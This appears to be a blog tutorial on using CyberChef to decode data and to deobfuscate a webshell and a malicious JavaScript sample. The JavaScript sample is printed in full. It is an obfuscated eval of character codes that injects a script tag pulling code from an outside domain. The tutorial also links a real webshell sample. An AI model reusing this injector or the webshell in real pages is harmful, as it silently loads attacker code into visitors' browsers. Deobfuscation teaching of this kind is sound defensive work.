I. Overview
In work, some small tools are often needed to do some conversion, such as base64 encoding conversion, such as URL Encode and URL Decode, and even such small tools are provided in the product, which is convenient for customers to use, but basically they are simple commands. If it is complicated, such as the base64 encoding conversion more than 10 times, or the content encrypted with AES, such processing, you need to write your own code processing, or encounter a combination of several conversions and you need to implement it yourself. Today I found open source Web Gadget Artifact: CyberChef
Two brief introduction
CyberChef is a simple, intuitive web application for performing various "cyber" operations in a web browser. These operations include simple encodings such as XOR and Base64, more complex encryptions such as AES, DES and Blowfish, creating binary and hex dumps, compressing and decompressing data, computing hashes and checksums, IPv6 and X .509 parsing, changing character encodings, and more.
Open the address: https://gchq.github.io/CyberChef/ to see the interface as shown below:
The interface is a bit rusty, but it is divided into three parts:
On the far left is Operation, which is the functional modules provided, such as converting to Base64, decoding, etc.;
Recipe means recipe, we can drag the functions in Operation to Recipe, and we can flexibly match different operations;
The top right is the input input content, and the output is the converted result.
three exercises
function list:
* [解码 Base64 编码的字符串](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=VTI4Z2JHOXVaeUJoYm1RZ2RHaGhibXR6SUdadmNpQmhiR3dnZEdobElHWnBjMmd1)
* [将日期和时间转换为其他时区](https://gchq.github.io/CyberChef/#recipe=Translate_DateTime_Format('Standard%20date%20and%20time','DD/MM/YYYY%20HH:mm:ss','UTC','dddd%20Do%20MMMM%20YYYY%20HH:mm:ss%20Z%20z','Australia/Queensland')&input=MTUvMDYvMjAxNSAyMDo0NTowMA)
* [解析 Teredo IPv6 地址](https://gchq.github.io/CyberChef/#recipe=Parse_IPv6_address()&input=MjAwMTowMDAwOjQxMzY6ZTM3ODo4MDAwOjYzYmY6M2ZmZjpmZGQy)
* [转换来自十六进制转储的数据，然后解压缩](https://gchq.github.io/CyberChef/#recipe=From_Hexdump()Gunzip()&input=MDAwMDAwMDAgIDFmIDhiIDA4IDAwIDEyIGJjIGYzIDU3IDAwIGZmIDBkIGM3IGMxIDA5IDAwIDIwICB8Li4uLi6881cu/y7HwS4uIHwKMDAwMDAwMTAgIDA4IDA1IGQwIDU1IGZlIDA0IDJkIGQzIDA0IDFmIGNhIDhjIDQ0IDIxIDViIGZmICB8Li7QVf4uLdMuLsouRCFb/3wKMDAwMDAwMjAgIDYwIGM3IGQ3IDAzIDE2IGJlIDQwIDFmIDc4IDRhIDNmIDA5IDg5IDBiIDlhIDdkICB8YMfXLi6%2BQC54Sj8uLi4ufXwKMDAwMDAwMzAgIDRlIGM4IDRlIDZkIDA1IDFlIDAxIDhiIDRjIDI0IDAwIDAwIDAwICAgICAgICAgICB8TshObS4uLi5MJC4uLnw)
* [解密和反汇编外壳代码](https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'UTF8','string':'secret'%7D,'Hex','Hex')Disassemble_x86('64','Full%20x86%20architecture',16,0,true,true)&input=MjFkZGQyNTQwMTYwZWU2NWZlMDc3NzEwM2YyYTM5ZmJlNWJjYjZhYTBhYWJkNDE0ZjkwYzZjYWY1MzEyNzU0YWY3NzRiNzZiM2JiY2QxOTNjYjNkZGZkYmM1YTI2NTMzYTY4NmI1OWI4ZmVkNGQzODBkNDc0NDIwMWFlYzIwNDA1MDcxMzhlMmZlMmIzOTUwNDQ2ZGIzMWQyYmM2MjliZTRkM2YyZWIwMDQzYzI5M2Q3YTVkMjk2MmMwMGZlNmRhMzAwNzJkOGM1YTZiNGZlN2Q4NTlhMDQwZWVhZjI5OTczMzYzMDJmNWEwZWMxOQ)
* [将多个时间戳显示为完整日期](https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn','%5C%5Cn',false)From_UNIX_Timestamp('Seconds%20(s)')&input=OTc4MzQ2ODAwCjEwMTI2NTEyMDAKMTA0NjY5NjQwMAoxMDgxMDg3MjAwCjExMTUzMDUyMDAKMTE0OTYwOTYwMA)
* [对不同类型的数据进行不同的操作](https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn','%5C%5Cn',false)Conditional_Jump('1',false,'base64',10)To_Hex('Space')Return()Label('base64')To_Base64('A-Za-z0-9%2B/%3D')&input=U29tZSBkYXRhIHdpdGggYSAxIGluIGl0ClNvbWUgZGF0YSB3aXRoIGEgMiBpbiBpdA)
* [将部分输入用作操作的参数](https://gchq.github.io/CyberChef/#recipe=Register('key%3D(%5B%5C%5Cda-f%5D*)',true,false)Find_/_Replace(%7B'option':'Regex','string':'.*data%3D(.*)'%7D,'$1',true,false,true)RC4(%7B'option':'Hex','string':'$R0'%7D,'Hex','Latin1')&input=aHR0cDovL21hbHdhcmV6LmJpei9iZWFjb24ucGhwP2tleT0wZTkzMmE1YyZkYXRhPThkYjdkNWViZTM4NjYzYTU0ZWNiYjMzNGUzZGIxMQ)
* [执行 AES 解密，从密码流的开头提取 IV](https://gchq.github.io/CyberChef/#recipe=Register('(.%7B32%7D)',true,false)Drop_bytes(0,32,false)AES_Decrypt(%7B'option':'Hex','string':'1748e7179bd56570d51fa4ba287cc3e5'%7D,%7B'option':'Hex','string':'$R0'%7D,'CTR','Hex','Raw',%7B'option':'Hex','string':''%7D)&input=NTFlMjAxZDQ2MzY5OGVmNWY3MTdmNzFmNWI0NzEyYWYyMGJlNjc0YjNiZmY1M2QzODU0NjM5NmVlNjFkYWFjNDkwOGUzMTljYTNmY2Y3MDg5YmZiNmIzOGVhOTllNzgxZDI2ZTU3N2JhOWRkNmYzMTFhMzk0MjBiODk3OGU5MzAxNGIwNDJkNDQ3MjZjYWVkZjU0MzZlYWY2NTI0MjljMGRmOTRiNTIxNjc2YzdjMmNlODEyMDk3YzI3NzI3M2M3YzcyY2Q4OWFlYzhkOWZiNGEyNzU4NmNjZjZhYTBhZWUyMjRjMzRiYTNiZmRmN2FlYjFkZGQ0Nzc2MjJiOTFlNzJjOWU3MDlhYjYwZjhkYWY3MzFlYzBjYzg1Y2UwZjc0NmZmMTU1NGE1YTNlYzI5MWNhNDBmOWU2MjlhODcyNTkyZDk4OGZkZDgzNDUzNGFiYTc5YzFhZDE2NzY3NjlhN2MwMTBiZjA0NzM5ZWNkYjY1ZDk1MzAyMzcxZDYyOWQ5ZTM3ZTdiNGEzNjFkYTQ2OGYxZWQ1MzU4OTIyZDJlYTc1MmRkMTFjMzY2ZjMwMTdiMTRhYTAxMWQyYWYwM2M0NGY5NTU3OTA5OGExNWUzY2Y5YjQ0ODZmOGZmZTljMjM5ZjM0ZGU3MTUxZjZjYTY1MDBmZTRiODUwYzNmMWMwMmU4MDFjYWYzYTI0NDY0NjE0ZTQyODAxNjE1YjhmZmFhMDdhYzgyNTE0OTNmZmRhN2RlNWRkZjMzNjg4ODBjMmI5NWIwMzBmNDFmOGYxNTA2NmFkZDA3MWE2NmNmNjBlNWY0NmYzYTIzMGQzOTdiNjUyOTYzYTIxYTUzZg)
* [自动检测多层嵌套编码](https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false)&input=V1VhZ3dzaWFlNm1QOGdOdENDTFVGcENwQ0IyNlJtQkRvREQ4UGFjZEFtekF6QlZqa0syUXN0RlhhS2hwQzZpVVM3UkhxWHJKdEZpc29SU2dvSjR3aGptMWFybTg2NHFhTnE0UmNmVW1MSHJjc0FhWmM1VFhDWWlmTmRnUzgzZ0RlZWpHWDQ2Z2FpTXl1QlY2RXNrSHQxc2NnSjg4eDJ0TlNvdFFEd2JHWTFtbUNvYjJBUkdGdkNLWU5xaU45aXBNcTFaVTFtZ2tkYk51R2NiNzZhUnRZV2hDR1VjOGc5M1VKdWRoYjhodHNoZVpud1RwZ3FoeDgzU1ZKU1pYTVhVakpUMnptcEM3dVhXdHVtcW9rYmRTaTg4WXRrV0RBYzFUb291aDJvSDRENGRkbU5LSldVRHBNd21uZ1VtSzE0eHdtb21jY1BRRTloTTE3MkFQblNxd3hkS1ExNzJSa2NBc3lzbm1qNWdHdFJtVk5OaDJzMzU5d3I2bVMyUVJQ)3.1 Data processing after base64 conversion twice
For example, if we want to process the data after two base64 conversions, we only need to drag two base64 decodings, as follows:
At the same time, we can pause each operation step, or save our conversion action, which is not too convenient.
3.2 webshell anti-obfuscation
This example includes the following examples based on what I learned online, for reference. The following webshell is quite special. After 21 base64 conversions, we need to perform 21 reverse base64 conversions. Try:
测试webshell的地址：[webshells/from_the_wild1.php at b7eefaff64049e3ff61e90c850686135c0ba74c4 · LordWolfer/webshells (github.com)](https://github.com/LordWolfer/webshells/blob/b7eefaff64049e3ff61e90c850686135c0ba74c4/from_the_wild1.php)There are many commands used, saving as json is:
[
{ "op": "Label",
"args": ["begin"] },
{ "op": "Regular expression",
"args": ["Strings", "[A-Za-z0-9/+=]{30,}", true, true, false, false, false, false, "List matches"] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Jump",
"args": ["begin", 21] },
{ "op": "Generic Code Beautify",
"args": [] }
]The functional components used are:
First create a label named begin, which is used for looping;
Perform a regular expression to extract the encoded content of base64, regular expression content:
[A-Za-z0-9/+=]{30,}Note that the output is List matches;Base64 decoding with From Base64;
Use Raw Inflate to decrypt;
Jump is transferred to the begin position and repeated 21 times;
Generic Code Beautify beautify code;
The result is as follows:
3.3 Char type malicious script deobfuscation
Sample script address:
[gist:3431818 (github.com)](https://gist.github.com/jonmarkgo/3431818)The content is as follows:
eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));The conversion tools used are as follows:
[
{ "op": "Regular expression",
"args": ["User defined", "([0-9]{2,3}(,\\s|))+", true, true, false, false, false, false, "Highlight matches"] },
{ "op": "From Charcode",
"args": ["Comma", 10] },
{ "op": "Regular expression",
"args": ["User defined", "([0-9]{2,3}(,\\s|))+", true, true, false, false, false, false, "Highlight matches"] },
{ "op": "From Charcode",
"args": ["Comma", 10],
"breakpoint": true }
]explain:
Regular expression Regular expression to extract decimal numbers, regular expression: ([0-9]{2,3}(,\s|))+;
From Charcode is separated by commas and converted into char in decimal mode;
Continue to use Regular expression to extract decimal numbers;
From Charcode is separated by commas and converted into char in decimal mode; the final result is:
